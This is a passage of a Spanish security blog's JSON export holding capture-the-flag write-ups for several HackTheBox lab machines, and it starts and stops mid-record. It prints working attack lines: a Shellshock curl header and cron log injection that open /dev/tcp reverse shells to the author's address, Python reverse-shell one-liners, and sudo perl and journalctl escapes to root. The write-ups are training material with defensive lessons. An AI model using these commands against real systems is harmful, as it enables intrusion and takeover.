PHP/5.4.16\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e|\u003c/span\u003e_http-title: Welcome to  Armageddon \u003cspan class=\"p\"\u003e|\u003c/span\u003e  Armageddon\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eService detection performed. Please report any incorrect results at https://nmap.org/submit/ .\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eNmap \u003cspan class=\"k\"\u003edone\u003c/span\u003e: \u003cspan class=\"m\"\u003e1\u003c/span\u003e IP address \u003cspan class=\"o\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e host up\u003cspan class=\"o\"\u003e)\u003c/span\u003e scanned in 12.12 seconds\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eComo podemos obervar tenemos 2 puertos abiertos, el 80 con el servicio http y el 22 ssh, como vemos cuenta con el archivo robots.txt y otros más interesantes, procederemos a inspeccionar en la web.\u003c/p\u003e","title":"HackTheBox Armageddon"},{"content":" Machine IP : 10.10.10.56\nDATE : 18/07/2021\nMatriz de la maquina Esta matriz nos muestra las características de explotación de la maquina.\nReconocimiento Primero hacemos un escaneo de puertos para saber cuales están abiertos y conocer sus servicios correspondientes.\nNmap Usamos el siguiente comando para escanear todos los puertos de una manera rapida.\nnmap -p- --open -T5 -v -n -Pn 10.10.10.56 Posteriormente utilizamos este comando con los puertos del anterior escaneo para saber las versiones de cada servicio.\nnmap -sC -sV -n -p2222,80 -Pn 10.10.10.56 Nos arroja este resultado:\n~/HTB/shocker  nmap -sC -sV -p80,2222 10.10.10.56 Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-18 00:02 EDT Nmap scan report for 10.10.10.56 Host is up (0.16s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site does not have a title (text/html). 2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) |_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 18.00 seconds Podemos observar dos puertos abiertos, el 2222 que pertenece a ssh y el 80 que es un http, procederemos a revisar la web que corre en el servicio http y haremos una busqueda de directorio con gobuster.\nLuego de probar varios diccionarios con gobuster encontré un directorio interesante.\ngobuster dir -u http://10.10.10.56/ -w /usr/share/wordlists/dirb/small.txt -t 100 -q -e http://10.10.10.56/cgi-bin/ (Status: 403) [Size: 294] Investigando sobre la procedencia de este directorio encontré que se relacionaba con una vulnerabilidad que se llamaba shellshock.\nLeyendo el post anterior entendí como funcionabala vulnerabilidad, entonces utilizé gobuster nuevamente con la flag -x para que me busque archivos con extensiones .sh, para encontrar los scripts dentro de este directorio y obtuve user.sh.\ngobuster dir -u http://10.10.10.56/cgi-bin/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -t 100 -x sh -q -e http://10.10.10.56/cgi-bin/user.sh (Status: 200) [Size: 126] Haciendo curl a la pagina con el comando whoami para saber si funciona.\ncurl -H \u0026#34;User-agent: () { :;}; echo; /usr/bin/whoami\u0026#34; http://10.10.10.56/cgi-bin/user.sh shelly Vemos que nos responde con el usuario shelly ejecutando el comando whoami, entonces trataremos de obtener una reverse shell con el comando.\ncurl -H \u0026#34;User-agent: () { :;}; /bin/bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.16.18/443 0\u0026gt;\u0026amp;1\u0026#34; http://10.10.10.56/cgi-bin/user.sh Haciendo un netcat -nlvp 443 en nuestra maquina, obtenemos una shell reversa con el usuario shelly y el user.txt.\nEscalamiento de privilegios Luego de obtener acceso como el usuario david, probé con sudo -l para listar los binarios que se pueden ejecutar como sudo, se aprecia que se puede ejecutar el binario perl con permisos root, entonces este vector de ataque ya es conocido.\nNos vamos a nuestra mejor amiga GTFOBINS y encontramos el siguiente comando que llama a una shell como sudo con el binario perl.\nsudo perl -e \u0026#39;exec \u0026#34;/bin/sh\u0026#34;;\u0026#39; Obtenemos acceso root y el root.txt.\nConclusiones Fue una buena maquina para aprender lecciones puntuales como las siguientes\u0026hellip;\nHubo una mala configuración del servidor web. No se me permitía acceder al directorio /cgi-bin pero por alguna razón se me permitía acceder al archivo user.sh dentro de ese directorio, el administrador debería haber restringido el acceso a todos los archivos del directorio.\nOtro detalle es que el servidor web estaba ejecutando comandos bash en un sistema que ejecutaba una versión de Bash que era vulnerable a la vulnerabilidad Shellshock, esto nos permitió obtener el acceso inicial al sistema.\nEl ultimo detalle fue configuración insegura del sistema, siempre hay que ajustarse al principio de mínimo privilegio y al concepto de separación de privilegios.\nDar al usuario sudo acceso para ejecutar perl, me permitió escalar privilegios.\nRecomendaría mantener actualizada las versiones de bash para que no interpete () { :; }; de una manera erronea.\nEvita jugar con la configuración de sudo si no estás seguro de lo que haces y de cómo se puede abusar de ello. Echa un vistazo a GTFObins para empezar..\nGracias por leer, Happy hacking and always try harder!\n","permalink":"https://blog.s4yhii.com/posts/2021-07-18-shocker-htb/","summary":"\u003chr\u003e\n\u003cp\u003e\u003cstrong\u003eMachine IP\u003c/strong\u003e : 10.10.10.56\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eDATE\u003c/strong\u003e  : 18/07/2021\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"matriz-de-la-maquina\"\u003eMatriz de la maquina\u003c/h2\u003e\n\u003cp\u003eEsta matriz nos muestra las características de explotación de la maquina.\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/images/htb/shocker/matrix.png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"reconocimiento\"\u003eReconocimiento\u003c/h2\u003e\n\u003cp\u003ePrimero hacemos un escaneo de puertos para saber cuales están abiertos y conocer sus servicios correspondientes.\u003c/p\u003e\n\u003ch2 id=\"nmap\"\u003eNmap\u003c/h2\u003e\n\u003cp\u003eUsamos el siguiente comando para escanear todos los puertos de una manera rapida.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003enmap -p- --open -T5 -v -n -Pn 10.10.10.56\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003ePosteriormente utilizamos este comando con los puertos del anterior escaneo para saber las versiones de cada servicio.\u003c/p\u003e","title":"HackTheBox Shocker"},{"content":" Machine IP : 10.10.10.165\nDATE : 08/07/2021\nMatriz de la maquina Esta matriz nos muestra las características de explotación de la maquina.\nReconocimiento Primero hacemos un escaneo de puertos para saber cuales están abiertos y conocer sus servicios correspondientes.\nNmap Usamos el siguiente comando para escanear todos los puertos de una manera rapida.\nnmap -p- --open -T5 -v -n -Pn 10.10.10.165 Posteriormente utilizamos este comando con los puertos del anterior escaneo para saber las versiones de cada servicio.\nnmap -sC -sV -n -p22,80 -Pn 10.10.10.165 Nos arroja este resultado:\n~/HTB/traverxex 59s ❯ nmap -sC -sV -n -p22,80 -Pn 10.10.10.165 59s Host discovery disabled (-Pn). All addresses will be marked \u0026#39;up\u0026#39; and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-05 05:16 EDT Nmap scan report for 10.10.10.165 Host is up (1.1s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0) | ssh-hostkey: | 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA) | 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA) |_ 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519) 80/tcp open http nostromo 1.9.6 |_http-server-header: nostromo 1.9.6 |_http-title: TRAVERXEC Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 73.06 seconds Podemos observar dos puertos abiertos, el 22 que pertenece a ssh y el 80 que es un http con la version nostromo 1.9.6, procederemos a revisar la web que corre en el servicio http y haremos una busqueda de directorio con gobuster.\nLuego de fuzzear la web con gobuster, no encontré nada interesante, por eso busqué la version y teconología web que utiliza esta web con el comando\nwhatweb 10.10.10.165 Me arroja el siguiente resultado\nhttp://10.10.10.165 [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[nostromo 1.9.6], IP[10.10.10.165], JQuery, Script, Title[TRAVERXEC] Luego de buscar la version nostromo 1.9.6 en google encontre un cve de una vulnerabilidad RCE(Remote Code Execution).\nCopié el codigo a un archivo .py y ejecuté el script, luego me dio una shell como www-data y haciendole el tratamiento de la tty, quedaría así.\nLuego de un momento de analizar directorio por directorio encontré archivos de configuracion que tenian el hash de david, un usuario del sistema, y tenia rutas de directorios ocultos pertenecientes a david.\nCon el hash encontré utilizé john para poder crackearlo y obtuve Nowonly4me como password, que seria la clave de acceso a la pagina protected-file-area, que está dentro del directorio www_public del usuario david.\nLuego de desencriptarlo\u0026hellip;\nLuego de acceder a la pagina con el usuario david y contraseña Nowonly4me, pude descargar el comprimido que contenia la clave privada de david.\nLuego hize el mismo procedimiento para obtener la password, usé ssh2john para crackear la password y con el id_rsa pude logearme via ssh y obtener el user.txt.\nEscalamiento de privilegios Luego de obtener acceso como el usuario david, probé con sudo -l para listar los binarios que se pueden ejecutar como sudo, pero no encontré nada, luego inspeccioné los binarios con permisos SUID, pero tampoco encontré un vector de ataque.\nPero inspeccionando los directorios de david, dentro de la carpeta bin encontré dos archivos, uno server-stats.head y el otro server-stats.sh, dentro del head no habia más que un banner, y en el otro habian comandos llamando a binarios, en la ultima linea llamaba a sudo.\nEl script devuelve las últimas 5 líneas de los registros del servicio nostromo usando journalctl. Esto es explotable porque journalctl invoca el buscador predeterminado, que probablemente sea less. El comando less muestra la salida en la pantalla del usuario y espera la entrada del usuario una vez que se muestra el contenido. Este puede explotarse ejecutando un comando de shell.\nEjecutamos el comando para invocar a less\n/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service Y en esta ventana de input ingresamos !/bin/bash para invocar una shell como root.\nConclusiones Fue una maquina agradable con debilidades que, por desgracia, siguen siendo muy comunes por ahí.\nAlgunas reflexiones y conclusiones de este pentest:\nUsar una política de contraseñas fuerte y monitorear diariamente si se publican vulnerabilidades para las aplicaciones/bibliotecas/plugins/firmware que tienes en producción.\nutiliza herramientas de código abierto que todavía se mantienen y que están respaldadas por una comunidad fuerte.\nAlmacene sus claves privadas en un repositorio protegido por una autenticación multifactorial. No las dejes \u0026ldquo;en línea\u0026rdquo; si no es necesario y no pienses que nadie las encontrará sólo porque crees que las escondiste bien.\nEvita jugar con la configuración de sudo si no estás seguro de lo que haces y de cómo se puede abusar de ello. Echa un vistazo a GTFObins para empezar\u0026hellip;\nGracias por leer, Happy hacking and always try harder!\n","permalink":"https://blog.s4yhii.com/posts/2021-07-08-traverxec-htb/","summary":"\u003chr\u003e\n\u003cp\u003e\u003cstrong\u003eMachine IP\u003c/strong\u003e : 10.10.10.165\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eDATE\u003c/strong\u003e  : 08/07/2021\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"matriz-de-la-maquina\"\u003eMatriz de la maquina\u003c/h2\u003e\n\u003cp\u003eEsta matriz nos muestra las características de explotación de la maquina.\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://raw.githubusercontent.com/s4yhii/s4yhii.github.io/master/assets/images/htb/traverxec/matrix.png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"reconocimiento\"\u003eReconocimiento\u003c/h2\u003e\n\u003cp\u003ePrimero hacemos un escaneo de puertos para saber cuales están abiertos y conocer sus servicios correspondientes.\u003c/p\u003e\n\u003ch2 id=\"nmap\"\u003eNmap\u003c/h2\u003e\n\u003cp\u003eUsamos el siguiente comando para escanear todos los puertos de una manera rapida.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003enmap -p- --open -T5 -v -n -Pn 10.10.10.165\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003ePosteriormente utilizamos este comando con los puertos del anterior escaneo para saber las versiones de cada servicio.\u003c/p\u003e","title":"HackTheBox Traverxec"},{"content":" Machine IP: 10.10.10.226\nDATE : 16/06/2021\nReconocimiento Primero hacemos un escaneo de puertos para saber cuales están abiertos y conocer sus servicios correspondientes.\nNmap ┌──(s4yhii㉿kali)-[~] └─$ nmap -p- --open -T5 -v -n 10.10.10.226 Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-15 20:45 EDT Initiating Ping Scan at 20:45 Scanning 10.10.10.226 [2 ports] Completed Ping Scan at 20:45, 0.12s elapsed (1 total hosts) Initiating Connect Scan at 20:45 Scanning 10.10.10.226 [65535 ports] Discovered open port 22/tcp on 10.10.10.226 Stats: 0:00:20 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 29.62% done; ETC: 20:46 (0:00:48 remaining) Discovered open port 5000/tcp on 10.10.10.226 Completed Connect Scan at 20:46, 60.38s elapsed (65535 total ports) Nmap scan report for 10.10.10.226 Host is up (0.12s latency). Not shown: 52711 closed ports, 12822 filtered ports Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE 22/tcp open ssh 5000/tcp open upnp Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 60.62 seconds Como vemos tiene 2 puertos abiertos el 22 y el 5000 uno con el servicio ssh y el otro con el servicio de Plug and Play, que se usa para conectar impresoras, dispositivos bluetooh, etc.\nAnalizando las versiones de los puertos abiertos encontramos lo siguiente.\n┌──(s4yhii㉿kali)-[~] └─$ nmap -sC -sV -n -p22,5000 10.10.10.226 Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-15 20:55 EDT Nmap scan report for 10.10.10.226 Host is up (0.12s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA) | 256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA) |_ 256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519) 5000/tcp open http Werkzeug httpd 0.16.1 (Python 3.8.5) |_http-title: k1d\u0026#39;5 h4ck3r t00l5 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.78 seconds Econtramos que hay un servidor web corriendo en el puerto 5000 con la cabecera k1d'5 h4ck3r t00l5, lo abrimos en el navegador.\nLuego de analizar estas 3 funcionalidades me di cuenta que la parte de payloads acepta un archivo , el cual podríamos generar con msfvenom, por eso buscamos en exploits msfvenom y nos genera solo un resultado.\nAbrimos mestasploit para generar el apk con el payload, configuramos LPORT y LHOST con nuestra ip y el puerto asignado y nos genera un apk ,el cual procederemos a subir a la web como template.\nUna vez generado subimos a la web y escribimos la ip de nuestra maquina y como OS seleccionamos android, ya que es una apk, luego ponemos en escucha nuestra maquina con el comando nc -nlvp 4444 y le damos a generar.\nAutomáticamente se nos abrirá una reverse shell con el usuario kid.\nLuego como tenemos acceso de escritura de la carpeta .ssh, añadiremos nuestro id_rsa a la carpeta de known_hosts para conectarnos directamente desde nuestra maquina via ssh.\nComo vemos ahora tenemos una shell más interactiva y tenemos acceso al user.txt.\nEscalamiento de privilegios Como podemos ver este script es ejecutado con permisos pwn, y nos dice que abrirá el archivo hackers para hacer un nmap. Al igual que la maquina bashed, se aprovecha de una tarea automática cron, que es ejecutado como usuario pwn, pero el log hackers se puede editar por kid, entonces esa será nuestra idea, cargaremos el archivo hackers con una reverse shell bash.\necho \u0026#34; ;/bin/bash -c \u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.14.186/4446 0\u0026gt;\u0026amp;1\u0026#39; #\u0026#34; \u0026gt; hackers Dejamos 2 espacios, ya que en el script de scanlosers al momento de tomar el texto toma a partir del 3er espacio porque hay un cut -f3-, que tomaria los paramatros a partir del 3ero.\nComo vemos obtuvimos una shell como pwn gracias al script scanlosers y ahora enumeraremos con sudo -l los binarios con permisos SUID\nsudo -l Como vemos metasploit tiene permisos SUID para ejecutarse como root, entonces lo ejecutamos con sudo msfconsole y bingo obtenemos sesión como root y podremos ver el root.txt\nsudo msfconsole !Gracias por leer.\n","permalink":"https://blog.s4yhii.com/posts/2021-06-16-scriptkiddie-htb/","summary":"\u003chr\u003e\n\u003cp\u003e\u003cstrong\u003eMachine IP\u003c/strong\u003e: 10.10.10.226\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eDATE\u003c/strong\u003e  : 16/06/2021\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"reconocimiento\"\u003eReconocimiento\u003c/h2\u003e\n\u003cp\u003ePrimero hacemos un escaneo de puertos para saber cuales están abiertos y conocer sus servicios correspondientes.\u003c/p\u003e\n\u003ch2 id=\"nmap\"\u003eNmap\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e┌──\u003cspan class=\"o\"\u003e(\u003c/span\u003es4yhii㉿kali\u003cspan class=\"o\"\u003e)\u003c/span\u003e-\u003cspan class=\"o\"\u003e[\u003c/span\u003e~\u003cspan class=\"o\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e└─$ nmap -p- --open -T5 -v -n 10.10.10.226                 \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eStarting Nmap 7.91 \u003cspan class=\"o\"\u003e(\u003c/span\u003e https://nmap.org \u003cspan class=\"o\"\u003e)\u003c/span\u003e at 2021-06-15 20:45 EDT\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eInitiating Ping Scan at 20:45\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eScanning 10.10.10.226 \u003cspan class=\"o\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e ports\u003cspan class=\"o\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eCompleted Ping Scan at 20:45, 0.12s elapsed \u003cspan class=\"o\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e total hosts\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eInitiating Connect Scan at 20:45\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eScanning 10.10.10.226 \u003cspan class=\"o\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e65535\u003c/span\u003e ports\u003cspan class=\"o\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eDiscovered open port 22/tcp on 10.10.10.226\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eStats: 0:00:20 elapsed\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"m\"\u003e0\u003c/span\u003e hosts completed \u003cspan class=\"o\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e up\u003cspan class=\"o\"\u003e)\u003c/span\u003e, \u003cspan class=\"m\"\u003e1\u003c/span\u003e undergoing Connect Scan\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eConnect Scan Timing: About 29.62% \u003cspan class=\"k\"\u003edone\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e ETC: 20:46 \u003cspan class=\"o\"\u003e(\u003c/span\u003e0:00:48 remaining\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eDiscovered open port 5000/tcp on 10.10.10.226\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eCompleted Connect Scan at 20:46, 60.38s elapsed \u003cspan class=\"o\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e65535\u003c/span\u003e total ports\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eNmap scan report \u003cspan class=\"k\"\u003efor\u003c/span\u003e 10.10.10.226\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eHost is up \u003cspan class=\"o\"\u003e(\u003c/span\u003e0.12s latency\u003cspan class=\"o\"\u003e)\u003c/span\u003e.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eNot shown: \u003cspan class=\"m\"\u003e52711\u003c/span\u003e closed ports, \u003cspan class=\"m\"\u003e12822\u003c/span\u003e filtered ports\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eSome closed ports may be reported as filtered due to --defeat-rst-ratelimit\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ePORT     STATE SERVICE\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e22/tcp   open  ssh\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e5000/tcp open  upnp\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eRead data files from: /usr/bin/../share/nmap\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eNmap \u003cspan class=\"k\"\u003edone\u003c/span\u003e: \u003cspan class=\"m\"\u003e1\u003c/span\u003e IP address \u003cspan class=\"o\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e host up\u003cspan class=\"o\"\u003e)\u003c/span\u003e scanned in 60.62 seconds\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eComo vemos tiene 2 puertos abiertos el \u003ccode\u003e22\u003c/code\u003e y el \u003ccode\u003e5000\u003c/code\u003e uno con el servicio \u003ccode\u003essh\u003c/code\u003e y el otro con el servicio de \u003ccode\u003ePlug and Play\u003c/code\u003e, que se usa para conectar impresoras, dispositivos bluetooh, etc.\u003c/p\u003e","title":"HackTheBox ScriptKiddie"},{"content":" Machine IP: 10.10.10.68\nDATE : 13/06/2021\nReconocimiento Primero hacemos un escaneo de puertos para saber cuales están abiertos y conocer sus servicios correspondientes.\nNmap Como vemos solo el puerto 80 está abierto, así que investigaremos en la web para ver si encontramos algo interesante\nEn la web no encontré nada :,c, pero phpbash me da una pista.\nComo vemos es un frontend normal,pero el nombre php bash es algo sospechoso al parecer no muestra directorios, por eso le hacemos un brute force para enumerar los directorios con gobuster.\n┌──(s4yhii㉿kali)-[~] └─$ gobuster dir -u http://10.10.10.68 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -t 200 1 ⨯ 2 ⚙ =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.10.68 [+] Method: GET [+] Threads: 200 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2021/06/13 03:44:34 Starting gobuster in directory enumeration mode =============================================================== /images (Status: 301) [Size: 311] [--\u0026gt; http://10.10.10.68/images/] /php (Status: 301) [Size: 308] [--\u0026gt; http://10.10.10.68/php/] /css (Status: 301) [Size: 308] [--\u0026gt; http://10.10.10.68/css/] /dev (Status: 301) [Size: 308] [--\u0026gt; http://10.10.10.68/dev/] /js (Status: 301) [Size: 307] [--\u0026gt; http://10.10.10.68/js/] /fonts (Status: 301) [Size: 310] [--\u0026gt; http://10.10.10.68/fonts/] Como vemos nos arroja muchos directorios, examinando cada uno de ellos pude encontrar algo interesante en /dev, dos archivos con el nombre de la pagina en si phpbash\nAl abrir el segundo archivo nos carga una shell con el usuario www-data , buscamos el archivo user.txt con el siguiente comando\nfind / -type f -name \u0026#34;user.txt\u0026#34; 2\u0026gt;/dev/null y bingo, lo encontramos, ahora a tratar de obtener una shell interactiva para poner comandos basicos.\nPrimero intentaremos ver si hay algunos binarios con permisos SUID para ejecutarlos con permisos root, para eso usamos en comando:\nsudo -l Vemos que el usuario Scriptmanager puede ejecutar cualquier comando en su sesion, entonces vamos a invocar una shell en nuestra maquina con netcat, por el lado de nuestra maquina usariamos el comando\nnc -nlvp 4448 Y por el lado de la phpbash, ejecutamos el siguiente comando para establecer una shell reversa con python\npython -c \u0026#39;import socket,subprocess,os;s=socket.socket(socket.AF\\_INET,socket.SOCK\\_STREAM);s.connect((\u0026#34;nuestraip\u0026#34;,4448));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(\\[\u0026#34;/bin/sh\u0026#34;,\u0026#34;-i\u0026#34;\\]);\u0026#39; Y así quedaria nuestra shell, luego nos logeamos como scriptmanager con una shell bash con el comando\nsudo -u scriptmanager /bin/bash Luego hacemos el tratamiento de la tty para que nuestra shell sea interactiva con los siguientes comandos\npython -c \u0026#39;import pty; pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; export TERM=screen-256color \\[Ctrl Z\\] stty raw -echo fg \\[INTRO\\] export TERM=screen Escalamiento de privilegios a root Haremos un ls al directorio raiz y encontramos un directorio llamado scripts con solo permiso para scriptmanager, entramos para ver que archivos o directorios interesantes tiene.\nComo vemos hay un archivo test.py que pertenece al nuestro usuario y un txt que pertenece a root , cuando nos encontramos con estas situaciones, debemos considerar que una opción es que hay tareas cron o automáticas que se realizan cada cierto tiempo, por eso en esta caso el script está siendo ejecutado como root, ya que el archivo que está escribiendo es propiedad de root, también al revisar que la fecha de creación del archivo va cambiando, podemos afirmar que cada minuto se actualiza el test.txt.\nEntonces tenemos que buscar que el archivo test.py contenga código malicioso para que cuando se ejecute podamos establecer una shell reversa en nuestra maquina con root.\nAbriendo un servidor web para pasar mi archivo test.py con el siguiente código, que es el mismo que utilizamos para invocar la shell reversa, pero sin las comillas y el python -c , ya que todo irá dentro del archivo.\nimport socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\u0026#34;tuip\u0026#34;,port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\u0026#34;/bin/sh\u0026#34;,\u0026#34;-i\u0026#34;]); Luego de descargar nuestro archivo, pondremos en escucha nuestra máquina con el puerto al cual asignamos en el test.py y obtendremos la shell como root.\n!Bingo, obtenemos sesión como root y podemos leer el root.txt\nGracias por leer.\n","permalink":"https://blog.s4yhii.com/posts/2021-06-13-bashed-htb/","summary":"\u003chr\u003e\n\u003cp\u003e\u003cstrong\u003eMachine IP\u003c/strong\u003e: 10.10.10.68\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eDATE\u003c/strong\u003e  : 13/06/2021\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"reconocimiento\"\u003eReconocimiento\u003c/h2\u003e\n\u003cp\u003ePrimero hacemos un escaneo de puertos para saber cuales están abiertos y conocer sus servicios correspondientes.\u003c/p\u003e\n\u003ch2 